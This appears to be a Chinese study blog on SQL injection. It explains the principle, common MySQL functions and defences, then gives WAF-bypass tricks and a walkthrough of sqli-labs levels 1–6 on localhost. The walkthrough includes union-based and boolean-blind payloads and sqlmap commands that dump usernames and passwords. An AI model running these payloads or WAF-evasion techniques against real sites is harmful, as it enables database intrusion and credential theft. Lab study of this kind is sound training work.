目录
1.sql注入原理
SQL 注入主要针对使用数据库的 Web 应用程序。当 Web 应用程序与数据库进行交互时,如果没有对用户输入的数据进行充分的验证和过滤,就可能成为 SQL 注入攻击的目标。
攻击方式:用户在与 Web 应用程序交互的输入框、URL 参数等地方输入恶意 SQL 语句,若该程序没有过滤程序,则会导致用户输入被当作数据库语句执行
2.SQL注入常用函数及含义
version()
:
返回当前数据库的版本信息。例如在 MySQL 中,执行 SELECT version();
可以获取 MySQL 的版本号。
database()
:
返回当前正在使用的数据库名称。
user()
:
返回当前数据库连接的用户名。
concat()
:
将多个字符串连接成一个字符串。可以使用这个函数来拼接从数据库中获取的不同字段的值。例如 SELECT concat(username,':',password) FROM users;
可以将用户名和密码连接在一起显示。
substring()
:
提取字符串的一部分。可以使用这个函数逐步获取长字符串中的信息。比如 SELECT substring(password,1,1) FROM users WHERE username='admin';
可以获取指定用户密码的第一个字符。
cast()
:
将一种数据类型转换为另一种数据类型。
SQL注入防御手段
严格验证输入类型
对于用户输入的数据,应明确规定其数据类型,如整数、字符串等。如果期望输入是整数,使用编程语言提供的类型检查函数确保输入确实是一个整数。
限制其长度,避免过长的输入可能导致的缓冲区溢出或其他安全问题。过滤特殊字符
对用户输入中的特殊字符进行过滤或转义,这些特殊字符包括单引号(')、双引号(")、分号(;)、注释符号(--、/* */)等。例如在 PHP 中可以使用 mysqli_real_escape_string()
函数对输入进行转义,防止这些字符被解释为 SQL 语句的一部分。
可以建立一个允许的字符集白名单,只接受白名单中的字符,拒绝其他任何字符。
使用预编译语句
数据库会先对 SQL 语句的结构进行分析和编译,然后将用户输入作为参数传递给已编译的语句。这样可以确保用户输入被视为数据而不是 SQL 代码。
限制数据库用户权限
确保数据库用户只拥有执行其特定任务所需的最小权限。例如,一个用于读取数据的用户不应该被授予写入或删除数据的权限,更不应该被授予执行数据库管理操作的权限。
定期审查和调整数据库用户的权限,确保权限没有被过度授予。
分离数据库服务器和 Web 服务器
如果可能,将数据库服务器与 Web 服务器分离在不同的物理或虚拟服务器上,并限制它们之间的网络访问。这样即使 Web 服务器被攻击,攻击者也难以直接访问数据库服务器。
SQL注入常用绕过waf(web防火墙)的方法
一、大小写混合与替换
- 改变关键字大小写
- 许多 WAF 是基于特定的关键字进行检测的,例如 “SELECT”“WHERE” 等。可以尝试将这些关键字的大小写进行混合,如 “SeLeCt”“wHeRe” 等。有些数据库在不区分大小写的情况下仍能正确解析这些语句,但 WAF 可能无法准确识别。
- 使用同义词或功能相似的关键字替换
- 例如用 “UNION ALL SELECT” 进行 SQL 注入时,如果被 WAF 拦截,可以尝试用 “UNION CORRESPONDING SELECT” 等功能相似的语句进行替换。不同数据库可能支持不同的替代关键字,需要根据具体数据库类型进行尝试。
二、编码与注释绕过
- URL 编码
- 将 SQL 注入语句中的关键字符进行 URL 编码,WAF 可能无法正确识别编码后的内容,但数据库在解析时会将其还原为原始字符。例如将单引号编码为 “%27”,分号编码为 “%3B” 等。
- Unicode 编码
- 使用 Unicode 编码来表示特殊字符。例如,单引号可以用 “\u0027” 表示。一些 WAF 可能无法正确解析 Unicode 编码,而数据库可以正常处理。
- 注释绕过
- 在 SQL 语句中插入注释来混淆关键部分,使 WAF 难以检测到注入点。例如 “SELECT//username//FROM//users WHERE id=1--”,这里的 “//” 是 SQL 中的注释符号,用来隐藏 “username” 和 “FROM” 等关键字,同时 “--” 表示注释掉后面的内容。
三、数据类型转换与函数利用
- 数据类型转换
- 将注入的数据进行类型转换,使其看起来像是合法的数据类型。例如,将数字型注入转换为字符串类型,或者将字符串类型转换为日期类型等。例如 “SELECT * FROM users WHERE id=CAST ('1' AS UNSIGNED) OR '1'='1'”,这里将字符串 “1” 转换为无符号整数类型。
- 利用数据库函数
- 数据库中有许多内置函数可以用来绕过 WAF。例如,使用字符串拼接函数来代替直接拼接字符串,如在 MySQL 中可以用 “CONCAT ()” 函数。“SELECT CONCAT (username,':',password) FROM users WHERE id=1”,这样即使 WAF 检测到拼接操作,也可能因为函数的使用而无法准确拦截。
四、HTTP 参数污染
- 重复参数
- 在 HTTP 请求中重复发送同一个参数,WAF 可能只处理其中一个参数,而数据库可能会处理所有的参数。例如,在 URL 中同时发送两个相同的参数 “id=1&id=2' OR '1'='1”,数据库可能会对两个参数都进行处理,从而实现 SQL 注入。
- 不同位置的参数污染
- 在不同的 HTTP 请求位置(如 GET 参数、POST 数据、HTTP 头)同时发送相同的参数,但每个位置的参数值略有不同,这样可以绕过一些只检测特定位置参数的 WAF。例如,在 GET 参数中发送 “id=1”,同时在 POST 数据中发送 “id=2' OR '1'='1”,数据库可能会综合处理这些参数,而 WAF 可能无法全面检测。
3.sqli-labs通关前5关
第一关
提示输入ID,则传参?id=value
发现参数带入数据库进行了查询,接下来我们判断sql语句是否是拼接,且是字符型还是数字型
可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。
首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1'order by 3 --+
显示正常
报错
爆出显示位,就是看看表格里面哪一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1'union select 1,2,3-
获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26
?id=-1'union select 1,database(),version()--+
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
第二关
尝试:?id=1'
,提示sql语法错误,存在注入点
删除单引号,页面正常显示,判断为数值型注入
获取列数:?id=1 order by 3--+
3条正确回显,4条报错,则共3条属性
判断属性回显位置:?id=-1 union select 1,2,3--+
获取用户名和密码:?id=-1 union select 1,2,(select group_concat(concat(username,'用户的密码是:',password),'<br>') from users)--+
第三关
当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
通过下面代码构建就可以进行sql注入
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
第四关
和前面几关同样的思路
测试到双引号时报错,说明语句是双引号字符型,且带有括号
构件sql注入代码
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
拿到敏感信息
第五关
和前几关一样的测试思路,在测试到?id=1' union select 1,2,3--+时,界面没有了报错回显
考虑使用布尔盲注,布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么
?id=1' and length((select database()))=1--+
使用burpsuite抓包
选定payload
可以看出长度为8
爆破数据库名称
?id=1' and substr((select database()),1,1)='a'--+
得到数据库名称security
剩下的步骤如法炮制
id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
4.使用sqlmap通关第六关
验证注入点
sqlmap -u '
http://127.0.0.1/sqli-labs/Less-6?id=1'
查看所有数据库:
sqlmap -u 'http://127.0.0.1/sqli-labs/Less-6?id=1' --dbs
查看当前使用的数据库:
sqlmap -u 'http://127.0.0.1/sqli-labs/Less-6?id=1' --current-db
查看当前数据库的所有表名:
sqlmap -u 'http://127.0.0.1/sqli-labs/Less-6?id=1' -D 'security' --tables
查看users表的所有数据:
sqlmap -u 'http://127.0.0.1/sqli-labs/Less-6?id=1' -D 'security' -T 'users' --dump
5.SQLi手工注入步骤
- 判断有无注入点
-
- 方法:通过向应用程序的输入点(如url参数、表单输入等)输入特殊字符(如单引号'、双引号"、注释符--等),观察应用程序的响应。如果应用程序返回数据库错误消息或行为异常,则可能存在sql注入点。
- 示例:在url后添加
and 1=1
和and 1=2
,观察页面响应是否发生变化。如果and 1=1
正常显示而and 1=2
导致错误或页面内容变化,则可能存在注入点。
- 猜解列名数量
-
- 方法:使用
order by
语句尝试对结果进行排序,通过逐渐增加列数来观察应用程序是否报错。如果某个列数导致错误,则前一个列数即为数据库表中可能的列数。 - 示例:在url后添加
order by 1
、order by 2
等,直到出现错误,前一个成功的数字即为列数。
- 方法:使用
- 通过报错方式判断回显点
-
- 方法:利用数据库的错误信息来确定哪些位置可以显示注入的sql查询结果。这通常涉及构造能够触发数据库错误的sql语句,并观察错误消息中是否包含有用的信息。
- 示例:在注入点处输入能够触发数据库错误的sql语句,如
union select 1, 'test', 3 from dual
(注意:dual
是oracle的虚拟表,mysql中可省略),观察哪些位置显示了'test'
字符串。
- 利用union select进行信息收集
-
- 方法:在确定了列数和回显点后,使用
union select
语句将恶意的sql查询结果与正常的查询结果合并,从而获取数据库中的敏感信息。 - 示例:
union select 1, database(), user() --+
(--+
用于注释掉原始查询的剩余部分),以获取当前数据库名和数据库用户。
- 方法:在确定了列数和回显点后,使用
- 获取数据库结构信息
-
- 方法:通过查询
information_schema
数据库中的表(如tables
、columns
等),获取数据库的结构信息,包括表名、列名等。 - 示例:
union select 1, table_name, 3 from information_schema.tables where table_schema = database() limit 0,1
,以获取当前数据库中的第一个表名。
- 方法:通过查询
- 提取敏感数据
-
- 方法:在获取了表名和列名后,使用
select
语句直接查询并提取敏感数据,如用户账号、密码等。 - 示例:
union select 1, username, password from users limit 0,1
,以获取users
表中的第一条记录的用户名和密码。
- 方法:在获取了表名和列名后,使用